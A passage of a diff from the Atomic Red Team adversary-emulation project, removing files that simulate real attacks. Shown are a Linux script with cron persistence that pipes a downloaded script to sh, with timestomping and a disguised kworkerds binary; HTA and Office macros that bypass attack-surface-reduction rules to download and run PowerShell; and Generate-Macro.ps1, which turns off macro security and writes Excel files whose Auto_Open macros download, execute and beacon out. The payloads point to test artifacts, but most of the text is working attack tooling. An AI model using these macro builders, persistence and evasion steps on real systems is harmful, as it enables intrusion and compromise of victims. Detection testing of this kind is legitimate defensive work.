netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 >/dev/null 2>&1
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 >/dev/null 2>&1
echo $(date -u) "Executed Atomic Red Team Rocke and Roll, Stage 02, part C" >> /tmp/atomic.log
}
function b() {
mkdir -p /var/tmp
# Tactic: Defense Evasion
# Technique: T1222 - File Permission Modification
chmod 1777 /var/tmp
# Tactic: Defense Evasion
# Technique: T1036 - Masquerading
(curl -fsSL --connect-timeout 120 https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/atomic-hello -o /var/tmp/kworkerds||wget https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/atomic-hello -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
nohup /var/tmp/kworkerds >/dev/null 2>&1 &
echo $(date -u) "Executed Atomic Red Team Rocke and Roll, Stage 02, part B" >> /tmp/atomic.log
}
function a() {
# Tactic: Defense Evasion
# Technique: T1222 - File Permission Modification
chattr -i /etc/cron.d/root /var/spool/cron/root /var/spool/cron/crontabs/root
# Tactic: Persistence
# Technique: T1168 - Local Job Scheduling
echo -e "*/10 * * * * root (curl -fsSL https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh||wget -q -O- https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh)|sh\n##" > /etc/cron.d/root
mkdir -p /var/spool/cron/crontabs
echo -e "*/31 * * * * (curl -fsSL https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh||wget -q -O- https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh)|sh\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.daily
(curl -fsSL --connect-timeout 120 https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh -o /etc/cron.daily/oanacroner||wget https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh -O /etc/cron.daily/oanacroner)
# Tactic: Defense Evasion
# Technique: T1222 - File Permission Modification
chmod 755 /etc/cron.daily/oanacroner
# Tactic: Defense Evasion
# Technique: T1099 - Timestomp
touch -acmr /bin/sh /etc/cron.daily/oanacroner
touch -acmr /bin/sh /etc/cron.d/root
touch -acmr /bin/sh /var/spool/cron/crontabs/root
echo $(date -u) "Executed Atomic Red Team Rocke and Roll, Stage 02, part A" >> /tmp/atomic.log
}
a
b
c
Binary file not shown.
-29
View File
@@ -1,29 +0,0 @@
<html>
<script language="JScript">
// Type One
// Child of Explorer, cmd.exe
var ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}";
var SW = GetObject("new:" + ShellWindows).Item();
SW.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", 'C:\\Windows\\System32', null, 0);
// Type Two
// Child of wmiprvse
var strComputer = ".";
var objWMIService = GetObject("winmgmts:\\\\" + strComputer + "\\root\\cimv2");
var objStartup = objWMIService.Get("Win32_ProcessStartup");
var objConfig = objStartup.SpawnInstance_();
objConfig.ShowWindow = 0;
var objProcess = GetObject("winmgmts:\\\\" + strComputer + "\\root\\cimv2:Win32_Process");
var intProcessID;
objProcess.Create("cmd.exe", null, objConfig, intProcessID);
// Type Three
// Child of mshta.exe
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
close();
</script>
</html>
-26
View File
@@ -1,26 +0,0 @@
# Listeners
Simple methods to simulate C2 server
## Python
python3
`python3 -m http.server 9000`
python2
`python -m SimpleHTTPServer 9000`
## PowerShell
[PowerShell Webserver](https://gallery.technet.microsoft.com/scriptcenter/Powershell-Webserver-74dcf466)
Start webserver with binding to http://localhost:8080/ (assuming the script is in the current directory):
PowerShell
`.\Start-Webserver.ps1`
Start webserver with binding to all IP addresses of the system and port 8080 (assuming the script is in the current directory).
Administrative rights are necessary:
PowerShell
`.\Start-Webserver.ps1 "http://+:8080/"`
@@ -1,55 +0,0 @@
# Office Macro - COM
reference: https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
### WordShellExecute
Word.
explorer->cmd->powershell.
```
Sub ASR_bypass_create_child_process_rule4()
Const ShellWindows = _
"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
Set SW = GetObject("new:" & ShellWindows).Item()
SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe IWR -uri ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.bat"" -OutFile ""~\Documents\payload.bat"" ; ~\Documents\payload.bat", "C:\Windows\System32", Null, 0
End Sub
```
### WordWmicCreateProcess
Word.
Wmiprvse.exe->cmd->powershell.
```
Sub ASR_bypass_create_child_process_rule5()
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1')", Null, objConfig, intProcessID
End Sub
```
### WordBenignWMICCreateProcess
Word.
Wmiprvse.exe->cmd->powershell.
This method does not execute mimikatz.
```
Sub ASR_bypass_create_child_process_rule5()
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/dragonstail_benign.ps1')", Null, objConfig, intProcessID
End Sub
```
@@ -1,9 +0,0 @@
# Zipped Malware
A common method actors use to deliver is through zip attachments in email.
## ZIP + VBS Example
Take the following [qbot chain reaction](https://github.com/redcanaryco/atomic-red-team/blob/master/ARTifacts/Chain_Reactions/qbot_infection_reaction.vbs) and compress (zip) the vbs file to be used for delivery.
Simulate other file types by zipping and deliver to the receiving device.
-560
View File
@@ -1,560 +0,0 @@
#Adopted and Originally Coded by Matt Nelson (@enigma0x3)
#Reference: https://github.com/enigma0x3/Generate-Macro/blob/master/Generate-Macro.ps1
<#
.SYNOPSIS
Standalone Powershell script that will generate a malicious Microsoft Office document with a specified payload and persistence method
.DESCRIPTION
This script will generate malicious Microsoft Excel Documents that contain VBA macros.
The script will display a menu of different attacks, all with different ASR Bypass methods. Once an attack is chosen.
When naming the document, don't include a file extension.
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.Attack Types
All 7 instances represent different ASR Bypasses based on research performed by great folks within the industry. All macros were absorbed from https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3.
Additional references:
- https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
- https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
- https://www.darkoperator.com/blog/2017/11/8/windows-defender-exploit-guard-asr-obfuscated-script-rule
- https://posts.specterops.io/the-emet-attack-surface-reduction-replacement-in-windows-10-rs3-the-good-the-bad-and-the-ugly-34d5a253f3df
- https://oddvar.moe/2018/03/15/windows-defender-attack-surface-reduction-rules-bypass/
.EXAMPLE
PS> ./Generate-Macro.ps1
Enter the name of the document (Do not include a file extension): FinancialData
--------Select Attack---------
1. Chain Reaction Download and execute with Excel.
2. Chain Reaction Download and execute with Excel, wmiprvse
3. Chain Reaction Download and execute with Excel, wmiprvse benign
4. Chain Reaction Download and execute with Excel Shell
5. Chain Reaction Download and execute with Excel ShellBrowserWindow
6. Chain Reaction Download and execute with Excel WshShell
7. Chain Reaction Download and execute with Excel and POST C2.
8. Chain Reaction Download and execute with Excel and GET C2.
------------------------------
Saved to file C:\Users\Malware\Desktop\FinancialData.xls
PS>
#>
$global:defLoc = "$env:userprofile\Desktop"
$global:Name = Read-Host "Enter the name of the document (Do not include a file extension)"
$global:Name = $global:Name + ".xls"
$global:FullName = "$global:defLoc\$global:Name"
function Excel-Shell {
<#
.SYNOPSIS
Standard macro execution.
.DESCRIPTION
Upon execution, Excel will spawn cmd.exe to download and execute a chain reaction via powershell.
#>
#create macro
$Code = @"
Sub Auto_Open()
Call Shell("cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1')", 1)
End Sub
"@
#Create excel document
$Excel01 = New-Object -ComObject "Excel.Application"
$ExcelVersion = $Excel01.Version
#Disable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
$Excel01.DisplayAlerts = $false
$Excel01.DisplayAlerts = "wdAlertsNone"
$Excel01.Visible = $false
$Workbook01 = $Excel01.Workbooks.Add(1)
$Worksheet01 = $Workbook01.WorkSheets.Item(1)
$ExcelModule = $Workbook01.VBProject.VBComponents.Add(1)
$ExcelModule.CodeModule.AddFromString($Code)
#Save the document
Add-Type -AssemblyName Microsoft.Office.Interop.Excel
$Workbook01.SaveAs("$global:FullName", [Microsoft.Office.Interop.Excel.XlFileFormat]::xlExcel8)
Write-Output "Saved to file $global:Fullname"
#Cleanup
$Excel01.Workbooks.Close()
$Excel01.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel01) | out-null
$Excel01 = $Null
if (ps excel){kill -name excel}
#Enable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
}
function Excel-Com-Wmiprvse-Benign-Trampoline {
<#
.SYNOPSIS
Uses COM to download and execute a chain reaction via wmiprvse. This version will not execute mimikatz.
.DESCRIPTION
Using COM, upon macro execution, wmiprvse will spawn cmd.exe to run powershell to download and execute a benign chain reaction.
#>
#create macro
$Code = @"
Sub Auto_Open()
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/dragonstail_benign.ps1')", Null, objConfig, intProcessID
End Sub
"@
#Create excel document
$Excel01 = New-Object -ComObject "Excel.Application"
$ExcelVersion = $Excel01.Version
#Disable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
$Excel01.DisplayAlerts = $false
$Excel01.DisplayAlerts = "wdAlertsNone"
$Excel01.Visible = $false
$Workbook01 = $Excel01.Workbooks.Add(1)
$Worksheet01 = $Workbook01.WorkSheets.Item(1)
$ExcelModule = $Workbook01.VBProject.VBComponents.Add(1)
$ExcelModule.CodeModule.AddFromString($Code)
#Save the document
Add-Type -AssemblyName Microsoft.Office.Interop.Excel
$Workbook01.SaveAs("$global:FullName", [Microsoft.Office.Interop.Excel.XlFileFormat]::xlExcel8)
Write-Output "Saved to file $global:Fullname"
#Cleanup
$Excel01.Workbooks.Close()
$Excel01.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel01) | out-null
$Excel01 = $Null
if (ps excel){kill -name excel}
#Enable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
}
function Excel-Com-Wmiprvse-Trampoline {
<#
.SYNOPSIS
Uses COM to download and execute chain reaction via wmiprvse.
.DESCRIPTION
Using COM, upon macro execution, wmiprvse will spawn cmd.exe to run powershell to download and execute a benign chain reaction.
#>
#create macro
$Code = @"
Sub Auto_Open()
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1')", Null, objConfig, intProcessID
End Sub
"@
#Create excel document
$Excel01 = New-Object -ComObject "Excel.Application"
$ExcelVersion = $Excel01.Version
#Disable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
$Excel01.DisplayAlerts = $false
$Excel01.DisplayAlerts = "wdAlertsNone"
$Excel01.Visible = $false
$Workbook01 = $Excel01.Workbooks.Add(1)
$Worksheet01 = $Workbook01.WorkSheets.Item(1)
$ExcelModule = $Workbook01.VBProject.VBComponents.Add(1)
$ExcelModule.CodeModule.AddFromString($Code)
#Save the document
Add-Type -AssemblyName Microsoft.Office.Interop.Excel
$Workbook01.SaveAs("$global:FullName", [Microsoft.Office.Interop.Excel.XlFileFormat]::xlExcel8)
Write-Output "Saved to file $global:Fullname"
#Cleanup
$Excel01.Workbooks.Close()
$Excel01.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel01) | out-null
$Excel01 = $Null
if (ps excel){kill -name excel}
#Enable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
}
function Excel-Com-Trampoline {
<#
.SYNOPSIS
Excel COM Trampoline.
.DESCRIPTION
Using COM, upon macro execution, wmiprvse will spawn cmd.exe to run powershell to download and execute a chain reaction.
#>
#create macro
$Code = @"
Sub Auto_Open()
Const ShellWindows = _
"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
Set SW = GetObject("new:" & ShellWindows).Item()
SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe IWR -uri ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1"" -OutFile ""~\Documents\payload.bat"" ; ~\Documents\payload.bat", "C:\Windows\System32", Null, 0
End Sub
"@
#Create excel document
$Excel01 = New-Object -ComObject "Excel.Application"
$ExcelVersion = $Excel01.Version
#Disable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
$Excel01.DisplayAlerts = $false
$Excel01.DisplayAlerts = "wdAlertsNone"
$Excel01.Visible = $false
$Workbook01 = $Excel01.Workbooks.Add(1)
$Worksheet01 = $Workbook01.WorkSheets.Item(1)
$ExcelModule = $Workbook01.VBProject.VBComponents.Add(1)
$ExcelModule.CodeModule.AddFromString($Code)
#Save the document
Add-Type -AssemblyName Microsoft.Office.Interop.Excel
$Workbook01.SaveAs("$global:FullName", [Microsoft.Office.Interop.Excel.XlFileFormat]::xlExcel8)
Write-Output "Saved to file $global:Fullname"
#Cleanup
$Excel01.Workbooks.Close()
$Excel01.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel01) | out-null
$Excel01 = $Null
if (ps excel){kill -name excel}
#Enable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
}
function Excel-Com-ShellBrowserWindow {
<#
.SYNOPSIS
Excel COM Trampoline.
.DESCRIPTION
Using COM, upon macro execution, svchost/explorer will spawn cmd.exe to run powershell to download and execute a chain reaction.
#>
#create macro
$Code = @"
Sub Auto_Open()
Const ShellBrowserWindow = _
"{C08AFD90-F2A1-11D1-8455-00A0C91F3880}"
Set SBW = GetObject("new:" & ShellBrowserWindow)
SBW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe IWR -uri ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1"" -OutFile ""~\Documents\payload.bat"" ; ~\Documents\payload.bat", "C:\Windows\System32", Null, 0
End Sub
"@
#Create excel document
$Excel01 = New-Object -ComObject "Excel.Application"
$ExcelVersion = $Excel01.Version
#Disable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
$Excel01.DisplayAlerts = $false
$Excel01.DisplayAlerts = "wdAlertsNone"
$Excel01.Visible = $false
$Workbook01 = $Excel01.Workbooks.Add(1)
$Worksheet01 = $Workbook01.WorkSheets.Item(1)
$ExcelModule = $Workbook01.VBProject.VBComponents.Add(1)
$ExcelModule.CodeModule.AddFromString($Code)
#Save the document
Add-Type -AssemblyName Microsoft.Office.Interop.Excel
$Workbook01.SaveAs("$global:FullName", [Microsoft.Office.Interop.Excel.XlFileFormat]::xlExcel8)
Write-Output "Saved to file $global:Fullname"
#Cleanup
$Excel01.Workbooks.Close()
$Excel01.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel01) | out-null
$Excel01 = $Null
if (ps excel){kill -name excel}
#Enable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
}
function Excel-Com-wshshell {
<#
.SYNOPSIS
Excel COM WshShell.
.DESCRIPTION
Using COM, upon macro execution, svchost/explorer will spawn cmd.exe to run powershell to download and execute a chain reaction.
#>
#create macro
$Code = @"
Sub Auto_Open()
Set WshShell = CreateObject("WScript.Shell")
Set WshShellExec = WshShell.Exec("cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1')")
End Sub
"@
#Create excel document
$Excel01 = New-Object -ComObject "Excel.Application"
$ExcelVersion = $Excel01.Version
#Disable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
$Excel01.DisplayAlerts = $false
$Excel01.DisplayAlerts = "wdAlertsNone"
$Excel01.Visible = $false
$Workbook01 = $Excel01.Workbooks.Add(1)
$Worksheet01 = $Workbook01.WorkSheets.Item(1)
$ExcelModule = $Workbook01.VBProject.VBComponents.Add(1)
$ExcelModule.CodeModule.AddFromString($Code)
#Save the document
Add-Type -AssemblyName Microsoft.Office.Interop.Excel
$Workbook01.SaveAs("$global:FullName", [Microsoft.Office.Interop.Excel.XlFileFormat]::xlExcel8)
Write-Output "Saved to file $global:Fullname"
#Cleanup
$Excel01.Workbooks.Close()
$Excel01.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel01) | out-null
$Excel01 = $Null
if (ps excel){kill -name excel}
#Enable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
}
function Excel-Shell-C2-GET {
<#
.SYNOPSIS
Standard macro execution.
.DESCRIPTION
Upon execution, Excel will spawn cmd.exe to download and execute a chain reaction via powershell.
#>
#create macro
$Code = @"
Sub Auto_Open()
Execute
C2
End Sub
Public Function Execute() As Variant
Call Shell("cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1')", 1)
End Function
Public Function C2() As Variant
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
URL = "http://www.example.com"
objHTTP.Open "GET", URL, False
objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
objHTTP.send ("ART=AtomicRedTeam")
End Function
"@
#Create excel document
$Excel01 = New-Object -ComObject "Excel.Application"
$ExcelVersion = $Excel01.Version
#Disable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
$Excel01.DisplayAlerts = $false
$Excel01.DisplayAlerts = "wdAlertsNone"
$Excel01.Visible = $false
$Workbook01 = $Excel01.Workbooks.Add(1)
$Worksheet01 = $Workbook01.WorkSheets.Item(1)
$ExcelModule = $Workbook01.VBProject.VBComponents.Add(1)
$ExcelModule.CodeModule.AddFromString($Code)
#Save the document
Add-Type -AssemblyName Microsoft.Office.Interop.Excel
$Workbook01.SaveAs("$global:FullName", [Microsoft.Office.Interop.Excel.XlFileFormat]::xlExcel8)
Write-Output "Saved to file $global:Fullname"
#Cleanup
$Excel01.Workbooks.Close()
$Excel01.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel01) | out-null
$Excel01 = $Null
if (ps excel){kill -name excel}
#Enable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
}
function Excel-Shell-C2-POST {
<#
.SYNOPSIS
Standard macro execution.
.DESCRIPTION
Upon execution, Excel will spawn cmd.exe to download and execute a chain reaction via powershell.
#>
#create macro
$Code = @"
Sub Auto_Open()
Execute
C2
End Sub
Public Function Execute() As Variant
Call Shell("cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1')", 1)
End Function
Public Function C2() As Variant
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
URL = "http://www.example.com"
objHTTP.Open "POST", URL, False
objHTTP.setRequestHeader "User-Agent", "Mozilla (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
objHTTP.send ("ART=AtomicRedTeam")
End Function
"@
#Create excel document
$Excel01 = New-Object -ComObject "Excel.Application"
$ExcelVersion = $Excel01.Version
#Disable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
$Excel01.DisplayAlerts = $false
$Excel01.DisplayAlerts = "wdAlertsNone"
$Excel01.Visible = $false
$Workbook01 = $Excel01.Workbooks.Add(1)
$Worksheet01 = $Workbook01.WorkSheets.Item(1)
$ExcelModule = $Workbook01.VBProject.VBComponents.Add(1)
$ExcelModule.CodeModule.AddFromString($Code)
#Save the document
Add-Type -AssemblyName Microsoft.Office.Interop.Excel
$Workbook01.SaveAs("$global:FullName", [Microsoft.Office.Interop.Excel.XlFileFormat]::xlExcel8)
Write-Output "Saved to file $global:Fullname"
#Cleanup
$Excel01.Workbooks.Close()
$Excel01.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel01) | out-null
$Excel01 = $Null
if (ps excel){kill -name excel}
#Enable Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\Excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
}
#Determine Attack
Do {
Write-Host "
--------Select Attack---------
1. Chain Reaction Download and execute with Excel.
2. Chain Reaction Download and execute with Excel, wmiprvse
3. Chain Reaction Download and execute with Excel, wmiprvse benign
4. Chain Reaction Download and execute with Excel Shell
5. Chain Reaction Download and execute with Excel ShellBrowserWindow
6. Chain Reaction Download and execute with Excel WshShell
7. Chain Reaction Download and execute with Excel and POST C2.
8. Chain Reaction Download and execute with Excel and GET C2.
------------------------------"
$AttackNum = Read-Host -prompt "Select Attack Number & Press Enter"
} until ($AttackNum -eq "1" -or $AttackNum -eq "2" -or $AttackNum -eq "3" -or $AttackNum -eq "4" -or $AttackNum -eq "5" -or $AttackNum -eq "6" -or $AttackNum -eq "7" -or $AttackNum -eq "8")
#Initiate Attack Choice
if($AttackNum -eq "1"){
Excel-Com-Trampoline
}
elseif($AttackNum -eq "2"){
Excel-Com-Wmiprvse-Trampoline
}
elseif($AttackNum -eq "3"){
Excel-Com-Wmiprvse-Benign-Trampoline
}
elseif($AttackNum -eq "4"){
Excel-Shell
}
elseif($AttackNum -eq "5"){
Excel-Com-ShellBrowserWindow
}
elseif($AttackNum -eq "6"){
Excel-Com-wshshell
}
elseif($AttackNum -eq "7"){
Excel-Shell-C2-POST
}
elseif($AttackNum -eq "8"){
Excel-Shell-C2-GET
}
-43
View File
@@ -1,43 +0,0 @@
# HTA
## AtomicHTA
Three ways to spawn calc using HTA. Each are customizable to download a chain reaction to perform additional behaviors.
## MSHTA - Explorer Spawning CMD
Using COM objects, mshta runs with no child processes. Explorer.exe spawns and executes cmd -> calc.
```
// Type One
// Child of Explorer, cmd.exe
var ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}";
var SW = GetObject("new:" + ShellWindows).Item();
SW.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", 'C:\\Windows\\System32', null, 0);
```
## MSHTA - Wmiprvse Spawning CMD
Using COM objects, mshta runs with no child processes. Wmiprvse spawns and executes cmd -> calc.
```
// Type Two
// Child of wmiprvse
var strComputer = ".";
var objWMIService = GetObject("winmgmts:\\\\" + strComputer + "\\root\\cimv2");
var objStartup = objWMIService.Get("Win32_ProcessStartup");
var objConfig = objStartup.SpawnInstance_();
objConfig.ShowWindow = 0;
var objProcess = GetObject("winmgmts:\\\\" + strComputer + "\\root\\cimv2:Win32_Process");
var intProcessID;
objProcess.Create("cmd.exe", null, objConfig, intProcessID);
